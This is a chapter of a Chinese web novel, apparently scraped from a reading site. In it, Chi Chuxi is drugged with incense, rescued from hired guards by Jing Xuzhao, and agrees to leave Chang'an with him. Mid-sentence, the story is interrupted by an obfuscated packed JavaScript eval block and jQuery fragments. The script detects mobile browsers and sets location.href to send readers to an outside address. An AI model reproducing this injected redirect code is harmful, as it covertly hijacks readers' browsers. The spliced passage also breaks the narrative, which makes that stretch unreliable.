153. 暗卫

作品:《灵尸笺

    苏府的花又开了,苏岫提着水壶刚浇完一盆杜鹃花。


    丫鬟低着头匆匆从外面进来:“娘子,主子那边的客人刚进了书房。”


    苏岫将水壶递给丫鬟,自己朝前方的桃林走去。


    “是燕不染?”


    “奴婢瞧着是,他悄悄来的,不想让人知晓。”


    苏岫弯起嘴角:“燕不染上个月给长乐公主送的那盆花我瞧着也喜欢,不知能不能给我也弄一盆来。”


    丫鬟道:“应是可以,奴婢瞧着他与老爷谋划的不是件小事,兴许是有求于咱们。”


    苏岫眼中的笑意瞬间收起,顷刻间仿佛覆了层冰霜:“我知道是什么事,事关长乐公主。”


    “这次,我不是帮她,是帮我自己。”


    丫鬟压低声音道:“奴婢知道了,奴婢去叫暮山回来。”


    外头下了两日雨,天气好不容易放晴。


    苏岫做一副粉嫩打扮步入庆楼,两个丫鬟两个小厮跟着,看起来派头很足。


    她进入雅间,在那个女人面前坐下:“江夫人,许久不见了。”


    江念妤年纪比她大十岁,瞧着不怎么显老气,她微微笑道:“是啊,你倒是出落得越发娇俏好看了,谁娶着你才是福气。”


    苏岫提了提袖子,示意丫鬟倒茶。


    “近日听了一桩闲话颇觉有趣,不知江夫人可有听过。”


    “坊间传言新上任的女官池娘子曾在黑市赌坊卖艺卖身,不少男人都在她裙下风流过。”


    苏岫说着掩嘴笑了一下:“听着倒是好笑,她再怎么说也是裴家义女,不至于吃不上饭要去黑市讨生活,你说是不是?”


    江念妤也跟着笑了:“你管她呢,一个穷乡僻壤来的贱民,去黑市赌坊这种事有什么稀奇。”


    江念妤不屑地抬了抬眼:“景家老祖宗可是瞧不上她的,她呀,休想进咱们景家的门。”


    “不如你,家世好,人品又好,我家老爷迟早去你家提亲,二公子与你才是门当户对,郎才女貌。”


    “我倒不是这个意思。”苏岫道,“今日来只是约江夫人喝喝茶,闲聊几句,就不掰扯我的人生大事了。”


    江念妤笑笑:“那就不说。”


    苏岫吩咐丫鬟小菊把带来的礼物呈上,江念妤不客气地笑纳了。


    “苏娘子客气啦。”江念妤笑得嘴都合不上。


    苏岫勾了勾唇,心下知道这个女人只爱财,说一百句话不如送一百两金银。


    景博珩的这位侧室夫人向来肤浅,苏岫惯喜欢跟这样的人打交道。


    景博珩这几日吃了几副药,身体好转了许多,有多余的精力跟府上的人闲话几句。


    江念妤说着说着就聊起黑市赌坊里的秘闻,忍不住掩嘴笑道:“都说那池娘子很会逢场作戏,把赌坊里的男人们哄得团团转呢。”


    “可真有意思,老爷您说她这样的人是怎么做上女官的,该不会是哄了滕王开心吧。”


    景博珩脸倏地黑了一圈:“闭嘴!”


    他忽然冷脸,吓了江念妤一跳。


    “老爷,妾身……妾身说错话了?”她怯怯地打量了景博珩一眼。


    只见景博珩一眼朝她瞪来:“谁让你嚼舌根的?”


    “妾身只是从坊间听来的……”


    江念妤搅着手指,心里有些慌张,怕景博珩处置她。


    景博珩沉声道:“以后不许再提。”


    江念妤露出一副委屈模样,想讨好他,小声嘤嘤着:“妾身知道了,只是妾身听说咱家二公子好像喜欢那个池娘子,所以才想起这事来。”


    “妾身以后都不提了。”


    江念妤低着头,模样顺从。


    景博珩眉心拧了拧:“二公子的婚事轮不到你做主,听说你这几日常往庆楼跑,谣言许是就从那里听来的,以后都不准去,在家待着,禁足一月。”


    江念妤红着眼眶低头认错。


    说几句话还被禁足了,以后都不能去庆楼吃美食,怎么想想都觉得有点亏,还要想办法敲诈苏岫一笔才行。


    江念妤心中郁闷。


    在景博珩身边待了这么些年,江念妤这次竟看不出他是何意,对池娘子究竟是个什么态度。


    怎么看这样子,像是铁了心要把她娶进门似的。


    一想到这儿,江念妤就打了个哆嗦,那池娘子有什么好,名声奇差,顶多有几分女中豪杰的魄气,这就能入景博珩这个老家伙的眼了?


    江念妤满是疑惑,看来自己还是不懂景博珩。


    连着下了五日的春雨,田野里生机勃勃。


    池楚浠站在大理寺侧门,心中感慨万千,名不正言不顺地做了女官,离开时也没脸走正门。


    苏澜还穿着一身官服,她靠在柱子上看着池楚浠,莫名叹了口气。


    “你知道你为何说辞官就能辞官吗?”


    池楚浠摇摇头,她不知。


    苏澜道:“那是因为你的折子根本没递到陛下面前,我先前还以为你是东宫的人,现在看来是想错了。”


    池楚浠这才明白,原来她辞官一事是太子应允的,陛下想必是又病重了。


    周盛乾都懒得多问一句便同意了。


    池楚浠无奈笑了笑:“苏澜,我在此祝你前程可期,仕途坦荡。”


    两人这下都心知肚明,即便是凭自己的实力,池楚浠也永远坐不上这个位置。


    因为东宫不要她。


    从大理寺回来的路上,池楚浠偶尔回头看去,在人群中,似乎有人在跟踪她。


    她装做不知情,从容淡定地进了长兴坊酒楼。


    “孙伙计,能否帮我给景二郎送个信,你就跟他说……说我有急事。”


    孙溜圆有些为难地挠了挠头:“不瞒池娘子,小的最近也没有二公子的消息,要不池娘子再等等。”


    池楚浠想了想,只能放弃,她叫人给裴家送了信,说暂时不回去,好让裴家夫妇放心。


    有人一路跟踪她,她不能再往裴家跑,万一对方不安好心连累了裴家人怎么办,她不想冒这个风险。


    如今她手中还握有长乐公主身份的证据,万一就这样死了,那知锦该如何是好。


    想到了将知锦送回刘家安顿,却没料到对方这么快就能锁定她这个目标。


    跟踪她的人究竟是不是公主的人也未可知。


    今夜,池楚浠心里想着许多事,原本一点困意也没有,却突然之间睡了过去。


    迷迷糊糊间,她感觉自己清醒了过来,但手脚却无法动弹,她瞬间反应过来,这是中了迷药。


    仔细一闻,屋子里还残留着迷香的味道。


    她挣扎着想起身,却怎么也清醒不过来,意识断断续续地变得模糊。


    “救命……”


    她也不知道自己有没有喊出声,但即便是喊出来了,也没人能听见。


    情急之中,眼泪顺着脸颊流下,浸湿了枕头。


    她听到窗户处有动静,像是被人推开了,有人从窗户翻了进来。


    心中着急,却躲不开。


    那人翻进来后,迅速来到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501369|184457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    池楚浠面前,池楚浠的意识更模糊了。


    只隐约闻到一股清凉的味道,渐渐的,脑子越来越清醒,眼睛也能睁开了。


    她看到一个熟悉的身影,但四周太黑,还看不清晰。


    “是我。”


    景序昭在她耳边低声道。


    “别出声,一会儿有人来擒你。”


    池楚浠点点头。


    景序昭要躲藏起来等那人上钩,他往池楚浠被子里钻去,被池楚浠踢了一脚。


    他愣了愣。


    那一脚似乎带着许多怨气。


    门被人推开了,池楚浠听着声音有些紧张,这便是那个要擒她的人。


    黑衣人正要动手,就猝不及防被景序昭抓个正着,他用绳子结结实实将那人绑了起来。


    “谁让你来的?”景序昭拎着他质问。


    那人身上带着刀,景序昭将刀解下来扔得远远的,再解开他的蒙面巾,是个脸生的男人。


    “你为谁做事?”


    男人撇开脸,不回答。


    孙溜圆带着伙计抓住了剩下的三人,他将三个黑衣人带到景序昭面前。


    “二公子,要不是咱们的暗卫发现及时,这几个就闯进来了,看他们的身手,估计也是暗卫。”


    景序昭扫了四个黑衣人一眼:“你们都是一伙的?不说的话,就都去死。”


    四个人被绑了,看得出来很不服气,自己好歹也是暗卫的身手,竟在长兴坊酒楼里被捉了。


    没想到一个酒楼竟还有这样的本事。


    “要杀要剐,随便!”其中一人道。


    景序昭冷笑:“还是死士。”


    池楚浠已经恢复了一些,身体还有些软绵绵的,她坐在床边,看着这群人,心下也猜到是谁了。


    “长乐公主府的吧?这么快就来杀我了。”


    孙溜圆问景序昭:“二公子,如何处置?”


    景序昭冷着声:“关进暗室,待真假公主一案对峙时把他们拖出去当证据。”


    孙溜圆:“是。”


    景序昭特意叮嘱:“打个半死,别让他们跑了。”


    孙溜圆:“是!”


    屋子里终于清静了,孙溜圆出去时从外面把门带上。


    池楚浠看着景序昭,发现他竟憔悴了许多,脸色有些苍白。


    “你病了?”她问。


    “没事。”景序昭应道。


    话音刚落,他便捂着胸口吐出一口血来。


    “叫大夫!”池楚浠上前扶住他,“你去做什么了,怎么伤得这么严重。”


    景序昭握住她的手,用力将人揽进怀里:“你随我离开长安,可好?”


    池楚浠在他怀中静静地待了一会儿:“离开长安去哪儿?”


    景序昭:“去苍山,在你和你阿耶的故居成亲,苍山的老宅我赎回来了。”


    她许久没应声。


    景序昭仿佛知道她在想什么,接着道:“太子暂时不会让我兄长回灵源领兵,长安如今的动向已然清晰,为了确保万一,父亲不会让我留在长安。”


    “太子虽然信任景家,但他和陛下不同,他有自己的考量,他喜欢把所有东西都抓在手里,喜欢大权在握,他也有这个能力。”


    池楚浠想起当初自己和太子做的交易,为的是换景序昭远离朝堂纷争,不再作为东宫的棋子。


    现在看来倒真是可笑,人一旦没有价值,在有些人眼里就是死路一条。


    周盛乾就是个典型。


    她缓缓应了声:“好。”